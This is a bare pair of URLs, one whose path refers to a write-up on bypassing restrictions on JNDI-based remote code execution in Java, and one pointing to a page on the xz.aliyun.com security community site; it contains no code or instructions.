https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html 
https://xz.aliyun.com/t/2479